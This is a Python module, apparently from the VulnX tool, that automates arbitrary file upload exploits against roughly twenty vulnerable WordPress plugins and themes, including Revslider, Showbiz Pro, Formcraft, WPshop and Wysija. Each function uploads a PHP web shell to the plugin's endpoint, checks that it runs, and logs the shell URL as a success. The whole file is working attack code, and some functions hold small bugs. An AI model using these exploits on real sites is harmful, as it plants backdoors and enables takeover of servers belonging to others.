import re
import random
import datetime
import requests
import os
now = datetime.datetime.now()
year = now.strftime('%Y')
month= now.strftime('%m')

Session = requests.Session()

from common.colors import failexploit , vulnexploit , que , info , good
# Blaze SlideShow
def wp_blaze(url,headers,vulnresults):
    headers['Content_Type'] = 'multipart/form-data'
    #options to send
    options = {
               'album_img':[open('shell/VulnX.php','rb')],
               'task':'blaze_add_new_album',
               'album_name':'',
               'album_desc':''
        }
    endpoint = url + "/wp-admin/admin.php?page=blaze_manage"
    #requests.post alias sendrequest method in common folder.
    content = requests.post(endpoint,options,headers).text
    check_blaze = re.findall("\/uploads\/blaze\/(.*?)\/big\/VulnX.php", content)
    if check_blaze:
        uploadfolder = check_blaze.group(1)
        dump_data = url + "/wp-content/uploads/blaze/"+uploadfolder+"/big/VulnX.php?Vuln=X"
        print (' %s Blaze SlideShow       %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] SlideShow -- Shell:' + dump_data)
    else: 
        print (' %s Blaze SlideShow       %s' %(que , failexploit))    
        vulnresults.add('[FAILED] SlideShow')
# catpro method
def wp_catpro(url,headers,vulnresults):
    headers['Content_Type'] = 'multipart/form-data'
    options = {
            'album_img':[open('shell/VulnX.php','rb')],
            'task':'cpr_add_new_album',
            'album_name':'',
            'album_desc':''
    }
    endpoint = url + "/wp-admin/admin.php?page=catpro_manage"
    content = requests.post(endpoint,options,headers).text
    check_catpro = re.findall("\/uploads\/blaze\/(.*?)\/big\/VulnX.php", content)
    if check_catpro:
        uploadfolder = check_catpro.group(1)
        dump_data = url + "/wp-content/uploads/catpro/"+uploadfolder+"/big/VulnX.php?Vuln=X"
        print (' %s Catpro Plugin         %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] Catpro -- Shell:' + dump_data)
    else:
        print (' %s Catpro Plugin         %s' %(que , failexploit))        
        vulnresults.add('[FAILED] Catpro')

# CherryFramework Method
def  wp_cherry(url,headers,vulnresults):
    headers['Content_Type'] = 'multipart/form-data'
    options = {
            'file':open('shell/VulnX.php','rb')
    }
    endpoint = url + "/wp-content/plugins/cherry-plugin/admin/import-export/upload.php"
    response = requests.post(endpoint,options,headers).text
    dump_data  = url + "/wp-content/plugins/cherry-plugin/admin/import-export/VulnX.php?Vuln=X"
    content=requests.get(dump_data, headers).text
    check_cherry = re.findall("Vuln X", content)
    if check_cherry:
        print (' %s CherryFramework       %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] CherryFramework -- Shell:' + dump_data)
    else:
        print (' %s CherryFramework       %s' %(que , failexploit))       
        vulnresults.add('[FAILED] CherryFramework')

#Download Manager method
def wp_dm(url,headers,vulnresults):
    headers['Content_Type'] = 'multipart/form-data'
    options = {
            'upfile':open('shell/VulnX.php','rb'),
            'dm_upload':''
    }
    send_shell = requests.post(url,options,headers).text
    dump_data = url + "/wp-content/plugins/downloads-manager/upload/VulnX.php?Vuln=X"
    content=requests.get(dump_data,headers).text
    check_dm = re.findall("Vuln X", content)
    if check_dm:
        print (' %s Download Manager      %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] Download Manager -- Shell:' + dump_data)
    else:
        print (' %s Download Manager      %s' %(que , failexploit))       
        vulnresults.add('[FAILED] Download Manager')

#powerzoomer method
def wp_powerzoomer(url,headers,vulnresults):
    endpoint = url + "/wp-admin/admin.php?page=powerzoomer_manage"
    headers['Content_Type'] = 'multipart/form-data'
    options = {
               'album_img':[open('shell/VulnX.php','rb')],
               'task':'pwz_add_new_album',
               'album_name':'',
               'album_desc':''
        }
    response = requests.post(endpoint,options,headers).text
    check_powerzoomer = re.findall("\/uploads\/powerzoomer\/(.*?)\/big\/VulnX.php", response)
    if check_powerzoomer:
        uploadfolder = check_powerzoomer.group(1)
        dump_data = url + "/wp-content/uploads/powerzoomer/"+uploadfolder+"/big/VulnX.php?Vuln=X"
        print (' %s Powerzoomer           %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] Powerzoomer -- Shell:' + dump_data)
    else:
        print (' %s Powerzoomer           %s' %(que , failexploit))       
        vulnresults.add('[FAILED] Powerzoomer')

# wp_revslider method 
def wp_revslider(url,headers,vulnresults):
    endpoint = url + "/wp-admin/admin-ajax.php"
    headers={
        'Cookie':'',
        'Content_Type' : 'form-data',
        'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
    }
    options = {
        'action':'revslider_ajax_action',
        'client_action':'update_plugin',
        'update_file':[open('shell/VulnX.zip','rb')]
    }
    send_shell = requests.post(endpoint,options,headers).text
    revslidera=requests.post(url+"/wp-content/plugins/revslider/temp/update_extract/revslider/VulnX.php", headers).text
    revsliderb=requests.get(url+"/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php", headers).text
    revsliderc=requests.get(url+"/wp-content/themes/striking_r/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php", headers).text
    revsliderd=requests.get(url+"/wp-content/themes/IncredibleWP/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php", headers).text
    revslidere=requests.get(url+"/wp-content/themes/ultimatum/wonderfoundry/addons/plugins/revslider/temp/update_extract/revslid.texter/VulnX.php", headers).text
    revsliderf=requests.get(url+"/wp-content/themes/medicate/script/revslider/temp/update_extract/revslider/VulnX.php", headers).text
    revsliderg=requests.get(url+"/wp-content/themes/centum/revslider/temp/update_extract/revslider/VulnX.php", headers).text
    revsliderh=requests.get(url+"/wp-content/themes/beach_apollo/advance/plugins/revslider/temp/update_extract/revslider/VulnX.php", headers).text
    revslideri=requests.get(url+"/wp-content/themes/cuckootap/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php", headers).text
    revsliderj=requests.get(url+"/wp-content/themes/pindol/revslider/temp/update_extract/revslider/VulnX.php", headers).text
    revsliderk=requests.get(url+"/wp-content/themes/designplus/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php", headers).text
    revsliderl=requests.get(url+"/wp-content/themes/rarebird/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php", headers).text
    revsliderm=requests.get(url+"/wp-content/themes/andre/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php", headers).text
    check_revslidera = re.findall("Vuln X", revslidera)
    check_revsliderb = re.findall("Vuln X", revsliderb)
    check_revsliderc = re.findall("Vuln X", revsliderc)
    check_revsliderd = re.findall("Vuln X", revsliderd)
    check_revslidere = re.findall("Vuln X", revslidere)
    check_revsliderf = re.findall("Vuln X", revsliderf)
    check_revsliderg = re.findall("Vuln X", revsliderg)
    check_revsliderh = re.findall("Vuln X", revsliderh)
    check_revslideri = re.findall("Vuln X", revslideri)
    check_revsliderj = re.findall("Vuln X", revsliderj)
    check_revsliderk = re.findall("Vuln X", revsliderk)
    check_revsliderl = re.findall("Vuln X", revsliderl)
    check_revsliderm = re.findall("Vuln X", revsliderm)
    dump_data = ""
    if check_revslidera:
        print (' %s Revslider Plugin %s' %(que,vulnexploit))
        print (' %s Injected Successfully \n  %s %s' % ( good,info,dump_data))
        vulnresults.add('[SUCCESS] Revslider -- Shell:' + url+"/wp-content/plugins/revslider/temp/update_extract/revslider/VulnX.php?Vuln=X")
    elif check_revsliderb:
        print (' %s Revslider Plugin %s' %(que,vulnexploit))
        print (' %s Injected Successfully \n  %s %s' % ( good,info,dump_data))
        vulnresults.add('[SUCCESS] Revslider -- Shell:' + url+"/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php?Vuln=X")
    elif check_revsliderc:
        print (' %s Revslider Plugin %s' %(que,vulnexploit))
        print (' %s Injected Successfully \n  %s %s' % ( good,info,dump_data))
        vulnresults.add('[SUCCESS] Revslider -- Shell:' + url+"/wp-content/themes/striking_r/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php?Vuln=X")
    elif check_revsliderd:
        print (' %s Revslider Plugin %s' %(que,vulnexploit))
        print (' %s Injected Successfully \n  %s %s' % ( good,info,dump_data))
        vulnresults.add('[SUCCESS] Revslider -- Shell:' + url+"/wp-content/themes/IncredibleWP/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php?Vuln=X")
    elif check_revslidere:
        print (' %s Revslider Plugin %s' %(que,vulnexploit))
        print (' %s Injected Successfully \n  %s %s' % ( good,info,dump_data))
        vulnresults.add('[SUCCESS] Revslider -- Shell:' + url+"/wp-content/themes/ultimatum/wonderfoundry/addons/plugins/revslider/temp/update_extract/revslider/VulnX.php?Vuln=X")
    elif check_revsliderf:
        print (' %s Revslider Plugin %s' %(que,vulnexploit))
        print (' %s Injected Successfully \n  %s %s' % ( good,info,dump_data))
        vulnresults.add('[SUCCESS] Revslider -- Shell:' + url+"/wp-content/themes/medicate/script/revslider/temp/update_extract/revslider/VulnX.php?Vuln=X")
    elif check_revsliderg:
        print (' %s Revslider Plugin %s' %(que,vulnexploit))
        print (' %s Injected Successfully \n  %s %s' % ( good,info,dump_data))
        vulnresults.add('[SUCCESS] Revslider -- Shell:' + url+"/wp-content/themes/centum/revslider/temp/update_extract/revslider/VulnX.php?Vuln=X")
    elif check_revsliderh:
        print (' %s Revslider Plugin %s' %(que,vulnexploit))
        print (' %s Injected Successfully \n  %s %s' % ( good,info,dump_data))
        vulnresults.add('[SUCCESS] Revslider -- Shell:' + url+"/wp-content/themes/beach_apollo/advance/plugins/revslider/temp/update_extract/revslider/VulnX.php?Vuln=X")
    elif check_revslideri:
        print (' %s Revslider Plugin %s' %(que,vulnexploit))
        print (' %s Injected Successfully \n  %s %s' % ( good,info,dump_data))
        vulnresults.add('[SUCCESS] Revslider -- Shell:' + url+"/wp-content/themes/cuckootap/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php?Vuln=X")
    elif check_revsliderj:
        print (' %s Revslider Plugin %s' %(que,vulnexploit))
        print (' %s Injected Successfully \n  %s %s' % ( good,info,dump_data))
        vulnresults.add('[SUCCESS] Revslider -- Shell:' + url+"/wp-content/themes/pindol/revslider/temp/update_extract/revslider/VulnX.php?Vuln=X")
    elif check_revsliderk:
        print (' %s Revslider Plugin %s' %(que,vulnexploit))
        print (' %s Injected Successfully \n  %s %s' % ( good,info,dump_data))
        vulnresults.add('[SUCCESS] Revslider -- Shell:' + url+"/wp-content/themes/designplus/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php?Vuln=X")
    elif check_revsliderl:
        print (' %s Revslider Plugin %s' %(que,vulnexploit))
        print (' %s Injected Successfully \n  %s %s' % ( good,info,dump_data))
        vulnresults.add('[SUCCESS] Revslider -- Shell:' + url+"/wp-content/themes/rarebird/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php?Vuln=X")
    elif check_revsliderm:
        print (' %s Revslider Plugin %s' %(que,vulnexploit))
        print (' %s Injected Successfully \n  %s %s' % ( good,info,dump_data))
        vulnresults.add('[SUCCESS] Revslider -- Shell:' + url+"/wp-content/themes/andre/framework/plugins/revslider/temp/update_extract/revslider/VulnX.php?Vuln=X")
    else:
        print (' %s Revslider             %s' %(que , failexploit))       
        vulnresults.add('[FAILED] Revslider')

# Formcraft
def wp_fromcraft(url,headers,vulnresults):
    shell = open('shell/VulnX.php','rb')
    fields= "files[]"
    headers['Content_Type'] = 'multipart/form-data'
    options = {
            fields:shell
    }
    endpoint = url + "/wp-content/plugins/formcraft/file-upload/server/php/"
    response = requests.post(endpoint,options,headers).text
    dump_data  = url + "/wp-content/plugins/formcraft/file-upload/server/php/files/VulnX.php?Vuln=X"
    check_fromcraft = re.findall("\"files", response)
    if check_fromcraft:
        print (' %s Formcraft             %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] Formcraft -- Shell:' + dump_data)
    else:
        print (' %s Formcraft             %s' %(que , failexploit))       
        vulnresults.add('[FAILED] Formcraft')
# Job Manager
def wp_jobmanager(url,headers,vulnresults):
    endpoint = url + "/jm-ajax/upload_file/"
    image = open('shell/VulnX.gif','rb')
    field = "file[]"
    headers['content-type'] = 'multipart/form-data'
    options = {
            field:image
    }

    send_image = requests.post(endpoint,options,headers).text
    dump_data = url + "/wp-content/uploads/job-manager-uploads/file/"+year+"/"+month+"/VulnX.gif"
    response=requests.get(dump_data, headers)
    res  = response.headers['content-type']
    check_jobmanager = re.findall("image\/gif", res)
    
    if check_jobmanager:
        print (' %s Job Manager           %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] Job Manager -- Shell:' + dump_data)
    else:
        print (' %s Job Manager           %s' %(que , failexploit))       
        vulnresults.add('[FAILED] Job Manager')

# Showbiz Pro
def wp_showbiz(url,headers,vulnresults):
    endpoint = url + "/wp-admin/admin-ajax.php"
    #method to randomize the user agent [functionINfunction]
    def random_UserAgent():
        useragents_rotate = [
            "Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
            "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0",
            "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
            "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36",
            "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36",
            "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31"
        ]
        useragents_random = random.choice(useragents_rotate)
        return useragents_random
    useragent=random_UserAgent()
    headers['User-Agent'] = useragent
    headers['Content_Type'] = 'multipart/form-data'
    options = {
                "action":"showbiz_ajax_action",
                "client_action":"update_plugin",
                "update_file":[open('shell/VulnX.php','rb')]
            }
    send_shell = requests.post(endpoint,options,headers).text
    dump_data = url + "/wp-content/plugins/showbiz/temp/update_extract/VulnX.php?Vuln=X"
    res=requests.get(dump_data, options).text
    check_showbiz = re.findall("Vuln X", res)
    if check_showbiz:
        print (' %s Showbiz Pro           %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] Showbiz Pro -- Shell:' + dump_data)
    else:
        print (' %s Showbiz Pro           %s' %(que , failexploit))       
        vulnresults.add('[FAILED] Showbiz Pro')
# Synoptic method
def wp_synoptic(url,headers,vulnresults):
    endpoint = url + "/wp-content/themes/synoptic/lib/avatarupload/upload.php"
    #shell directory
    shell = open('shell/VulnX.php','rb')
    field = "qqfile"
    headers['Content_Type'] = 'multipart/form-data'
    options = {
            field:shell
    }
    send_shell = requests.post(endpoint,options,headers).text
    dump_data = url + "/wp-content/uploads/markets/avatars/VulnX.php?Vuln=X"
    res=requests.get(dump_data, headers).text
    check_synoptic = re.findall("Vuln X", res)
    
    if check_synoptic :
        print (' %s Synoptic              %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] Synoptic -- Shell:' + dump_data)
    else:
        print (' %s Synoptic              %s' %(que , failexploit))       
        vulnresults.add('[FAILED] Synoptic')

# WPshop eCommerce method
def wp_shop(url,headers,vulnresults):
    endpoint = url + "/wp-content/plugins/wpshop/includes/ajax.php?elementCode=ajaxUpload"
    shell = open('shell/VulnX.php','rb')
    field = "wpshop_file"
    headers['Content_Type'] = 'multipart/form-data'
    options = {
            field:shell
    }
    send_shell = requests.post(endpoint,options,headers).text
    dump_data = url + "/wp-content/uploads/VulnX.php?Vuln=X"
    res=requests.get(dump_data, headers).text
    check_shop = re.findall("Vuln X", res)
    if check_shop:
        print (' %s WPshop eCommerce      %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] WPshop eCommerce -- Shell:' + dump_data)
    else:
        print (' %s WPshop eCommerce      %s' %(que , failexploit))       
        vulnresults.add('[FAILED] WPshop eCommerce')

# Simple Ads Manager
def wp_adsmanager(url,headers,vulnresults):
    endpoint = url + "/wp-content/plugins/simple-ads-manager/sam-ajax-admin.php"
    shell = open('shell/VulnX.php','rb')
    field = "wpshop_file"
    headers['Content_Type'] = 'multipart/form-data'
    options = {
            'uploadfile':shell,
            'action':'upload_ad_image',
            'path':''
    }
    send_shell = requests.post(endpoint,options,headers).text
    dump_data = url + "/wp-content/plugins/simple-ads-manager/VulnX.php?Vuln=X/"
    res=requests.get(dump_data, headers).text
    check_adsmanager = re.findall("{\"status\":\"success\"}", res)
    if check_adsmanager:
        print (' %s Simple Ads Manager    %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] Simple Ads Manager -- Shell:' + dump_data)
    else:
        print (' %s Simple Ads Manager    %s' %(que , failexploit))       
        vulnresults.add('[FAILED] Simple Ads Manager')

# Wysija Newsletters
def wp_wysija(url,headers,vulnresults):
    theme = "my-theme"
    endpoint = url + "/wp-admin/admin-post.php?page=wysija_campaigns&action=themes"
    shell = open('shell/VulnX.php','rb')
    
    field = "wpshop_file"
    headers['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
    headers['Content_Type'] = 'form-data'
    options = {
            'theme':shell,
            'overwriteexistingtheme':'on',
            'action':'themeupload',
            'submitter':'Upload'
    }
    send_shell = requests.post(endpoint,options,headers).text
    dump_data = url + "/wp-content/uploads/wysija/themes/VulnX/VulnX.php?Vuln=X"
    res=requests.get(dump_data, headers).text
    check_wysija = re.findall("Vuln X", res)
    if check_wysija:
        print (' %s Wysija Newsletters    %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] Wysija Newsletters -- Shell:' + dump_data)
    else:
        print (' %s Wysija Newsletters    %s' %(que , failexploit))       
        vulnresults.add('[FAILED] Wysija Newsletters')

# InBoundio Marketing
def wp_inboundiomarketing(url,headers,vulnresults):
    endpoint = url + "/wp-content/plugins/inboundio-marketing/admin/partials/csv_uploader.php"
    shell = open('shell/VulnX.php','rb')
    headers['Content_Type'] = 'multipart/form-data'
    options = {
            'file':shell,
    }
    send_shell = requests.post(endpoint,options,headers).text
    dump_data = url + "/wp-content/plugins/inboundio-marketing/admin/partials/uploaded_csv/VulnX.php?Vuln=X"
    res=requests.get(dump_data, headers).text
    check_wysija = re.findall("Vuln X", res)
    if check_wysija:
        print (' %s InBoundio Marketing   %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] InBoundio Marketing -- Shell:' + dump_data)
    else:
        print (' %s InBoundio Marketing   %s' %(que , failexploit))       
        vulnresults.add('[FAILED] InBoundio Marketing')

# AdBlocker
def wp_adblockblocker(url,headers,vulnresults):
    endpoint = url + "/wp-admin/admin-ajax.php?action=getcountryuser&cs=2"
    shell = open('shell/VulnX.php','rb')
    headers['Content_Type'] = 'multipart/form-data'
    options = {
            'popimg':shell,
    }
    send_shell = requests.post(endpoint,options,headers).text
    dump_data = url + "/wp-content/uploads/"+year+"/"+month+"/VulnX.php?Vuln=X"
    res=requests.get(dump_data, headers).text
    if re.findall("Vuln X", res):
        print (' %s adblockblocker        %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] adblockblocker -- Shell:' + dump_data)
    else:
        print (' %s adblockblocker        %s' %(que , failexploit))       
        vulnresults.add('[FAILED] adblockblocker')

# levoslideshow
def wp_levoslideshow(url,headers,vulnresults):
    endpoint = url + "/wp-admin/admin.php?page=levoslideshow_manage"
    shell = open('shell/VulnX.php','rb')
    headers['Content_Type'] = 'multipart/form-data'
    options = {
            'album_img':shell,
            'task' : 'lvo_add_new_album',
            'album_name': '',
            'album_desk': '',
    }
    send_shell = requests.post(endpoint,options,headers).text
    check = re.findall("/uploads/levoslideshow/(.*?)/big/VulnX.php/", send_shell)
    if check:
        dump_data = url + "/wp-content/uploads/levoslideshow/"+check.group(1)+"/big/VulnX.php?Vuln=X"
        print (' %s levoslideshow         %s    %s' %(que,vulnexploit,dump_data))
        vulnresults.add('[SUCCESS] levoslideshow -- Shell:' + dump_data)
    else:
        print (' %s levoslideshow         %s' %(que , failexploit))       
        vulnresults.add('[FAILED] levoslideshow')

#responsive_thumbnail_slider : exploit data = 27-07-2018
def wp_thumbnailSlider(url,headers):
    endpoint = url + "wp-admin/admin.php?page=responsive_thumbnail_slider_image_management"
    with open('shell/Vulnx.gif', 'rb') as img:
        name_img= os.path.basename('shell/Vulnx.gif')
        files= {'image': (name_img,img,'multipart/form-data',{'Expires': '0'}) }
        upload_file = Session.post(url,files=files)
        fname = re.findall(re.compile(r'/slider\/(.*\.gif)/'),upload_file)
        if fname:
            dump_data = url + "wp-content/uploads/wp-responsive-images-thumbnail-slider/"+fname
            print (' %s thumbnail-slider      %s    %s' %(que,vulnexploit,dump_data))
        else:
            print (' %s thumbnail-slider      %s' %(que , failexploit))    